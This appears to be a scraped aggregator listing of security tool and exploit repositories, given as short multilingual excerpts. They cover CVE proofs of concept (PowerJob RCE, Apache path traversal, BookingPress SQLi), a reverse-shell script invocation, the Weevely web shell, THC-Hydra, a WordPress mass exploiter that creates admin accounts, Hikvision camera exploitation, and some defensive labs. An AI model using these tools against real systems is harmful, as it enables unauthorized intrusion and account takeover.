CVE-2026-49097

مُعيد إنتاج حقن الترويسة irc.sendTo في camel-irc CVE-2026-49097 يُوضِّح هذا المشروع حقن ترويسة الرسالة message-header injection في مكوِّن camel-irc الخاص بـ Apache Camel، والمُسجَّل باسم CVE-2026-49097. يقرأ IrcProducer ترويسة irc.sendTo لاختيار وجهة رسالة IRC الصادرة؛ وعند وجودها فإنها تتجاوز...

thc-hydra

H Y D R A root@kitploit: c 2001-2023 بواسطة van Hauser / THC https://github.com/vanhauser-thc/thc-hydra تم كتابة العديد من الوحدات بواسطة David dot Maciejak @ gmail dot com كود BFG بواسطة Jan Dlabal مرخص بموجب AGPLv3 انظر ملف LICENSE يرجى عدم الاستخدام في المنظمات العسكرية أو الاستخباراتية، أو...

CVE-2026-75430_PowerJob_worker_deployContainer_RCE

PowerJob Worker 무인증 원격 코드 실행 - /worker/deployContainer 임의 JAR 로딩 1. 요약 PowerJob Worker는 HTTP 전송 포트 27777에서 deployContainer 핸들러를 어떠한 인증도 없이 노출합니다. 공격자는 임의의 URL을 제출하고, Worker는 해당 JAR을 다운로드하여 URLClassLoader + Spring ClassPathXmlApplicationContext를 통해 로드하며, Spring init-method 중에 임의 코드가 실행되어 Worker...

shellshock-victim-host

shellshock-victim-host A docker container vulnerable to Shellshock - CVE-2014-6271 Run root@kitploit: podman build -t shellshock-victim . podman run -it -p 80:8080 shellshock-victim Note: Builds with docker as well. The vulnerable app will be deployed on : http://localhost:8080/victim.cgi -...

Exploit for Code Injection in Apache Activemq

CVE-2026-34197 — Apache ActiveMQ Jolokia addNetworkConnector...

CVE-2017-7038

CVE-2017-7038 Safari XSS CVE-2017-7038 https://support.apple.com/en-us/HT207923 Document implementation XSS vulnerability root@kitploit: var payload = ''; document.createElement'body'.innerHTML = payload; document.implementation.createHTMLDocument.writepayload; new DOMParser.parseFromStringpayloa...

bucky

Bucky An S3 account ID enumeration and bucket discovery tool Given a single accessible S3 bucket, bucky extracts the 12-digit AWS account ID that owns it, then discovers additional buckets belonging to the same account by fuzzing bucket names against a wordlist — all in one command. What It Does ...

esp_wifi_repeater

espwifirepeater A full functional WiFi NAT router and now also a WiFi repeater aka. L2 bridge NEW 2026: 10 years after the first release it has finally become, what it ever pretendend to be:a true WiFi Repeater. In order not to break any existing docs and links, the standard edition still remains...

Identificador-CVE-2018-11759

لغة أخرى git - pt-BR تحقق مما إذا كانت نسخك معرّضة لـ CVE 2018-11759 الملف main هو سكربت بلغة bash لاستغلال الثغرة. يجب أن تستخدم العناوين البروتوكول والعنوان الكامل، مثال: https://test.site.com.br لمزيد من العناوين في استعلام واحد، يمكن استخدام here-document، مثال: root@kitploit: Call the bash,...

https-nj.gov---CVE-2018-14042

https-nj.gov---CVE-2018-14042 تقرير الثغرة الأمنية للموقع الرسمي لنيوجيرسي في Bootstrap قبل الإصدار 4.1.2، يكون هجوم XSS ممكنًا في سمة البيانات الرئيسية للانهيار collapse data attribute. سمة data-target وسمة data-parent وسمة data-container عرضة لهجمات البرمجة النصية عبر المواقع Cross-Site...

web-threat-mitigation

web-threat-mitigation مختبر عملي حول اكتشاف وتخفيف تهديدات تطبيقات الويب باستخدام OWASP ZAP وBurp Suite وModSecurity WAF مع OWASP CRS. دراسة حالة: Spring4Shell CVE-2022-22965. إعداد محلي قائم على Docker. مختبر تخفيف التهديدات عبر الويب – OWASP ZAP وModSecurity واستغلال CVE يوثّق هذا المستودع...

CVE-2026-8732-POC

CVE-2026-8732 - Массовый сканер WP Google Map Pro для WordPress и автоматическое создание администратора 📌 Описание Этот инструмент эксплуатирует CVE-2026-8732 — уязвимость в плагине WP Google Map Pro для WordPress. Уязвимость позволяет неаутентифицированному злоумышленнику получить действительны...

Fonoster-LFI-PoC

CVE-2024-43035 - Fonoster LFI Proof of Concept This repository contains a Proof of Concept PoC script demonstrating a Local File Inclusion vulnerability in Fonoster. This tool is for educational and authorized testing purposes only. Usage Read Local File To retrieve a local file from the server:...

CVE-2022-0739

CVE-2022-0739 Preuve de concept d'exploit SQLI BookingPress avant 1.0.11 Utilisation Fournissez l'URL où le plugin Booking Press est utilisé sur l'application. bash exploit.sh '' par exemple Les hachages sont masqués dans cette démonstration root@kitploit: ┌──user@user-/ └─$ bash sqliexploit.sh...

CVE-2021-41773

CVE-2021-41773 Я разработал POC для CVE-2021-41773: RCE + обход пути path traversal в cgi-bin ПРИМЕЧАНИЕ: ПРОТЕСТИРОВАНО НА APACHE2 2.4.49 Вы можете сразу получить уязвимый Apache2 2.4.49 из Docker root@kitploit: $ sudo docker pull blueteamsteve/cve-2021-41773:no-cgid $ sudo docker run -dit -p...

Hikvision-City-Hunter

Лучший инструмент 2025 года для городской разведки и эксплуатации IP-камер, DVR и NVR Hikvision Живой вывод в консоль • DVR/NVR выделены фиолетовым • Камеры — зелёным • Автоскачивание снимков • Фильтрация приманок ╔══════════════════════════════════════════════════════════╗ ║ HIKVISION 2025...

weevely3

Weevely - Web shell militarisé Description Weevely est un web shell conçu pour la post-exploitation, qui peut être étendu sur le réseau à l'exécution. Téléversez l'agent PHP Weevely sur un serveur web cible pour obtenir un accès shell distant. Il dispose de plus de 30 modules pour faciliter les...

cve-2026-16219-croogo-lab

CVE-2026-16219: مختبر دفاعي لـ Croogo FileManager يُوثّق هذا المستودع ويُظهر بأمان الثغرة المتعلقة بتفويض المسار التي تم تتبعها تحت CVE-2026-16219 في نظام Croogo CMS. وهو موجّه للمدافعين والمشرفين والطلاب والباحثين الذين يختبرون أنظمة يملكونها أو مُصرّح لهم صراحةً بفحصها. حدود الأمان: لا يقبل إثب...

vi-bot

BotDetect v2 — مكتبة كشف البوتات للبيئات الإنتاجية مكتبة كشف البوتات والأتمتة من جانب العميل مع نظام تسجيل مرجح، وتحليل سلوكي، وبصمة متصفح، وعتبات قابلة للتكوين. تكتشف المتصفحات عديمة الرأس، وسيلينيوم، وبابيتير، وبلاي رايت، والأدوات القائمة على بروتوكول CDP، وأطر الأتمتة الخفية. الإصدار v2.1.0 —...

CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell PoC CVE-2021-42013 reverse shell Apache 2.4.50 with CGI Usage : root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT More info: root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083...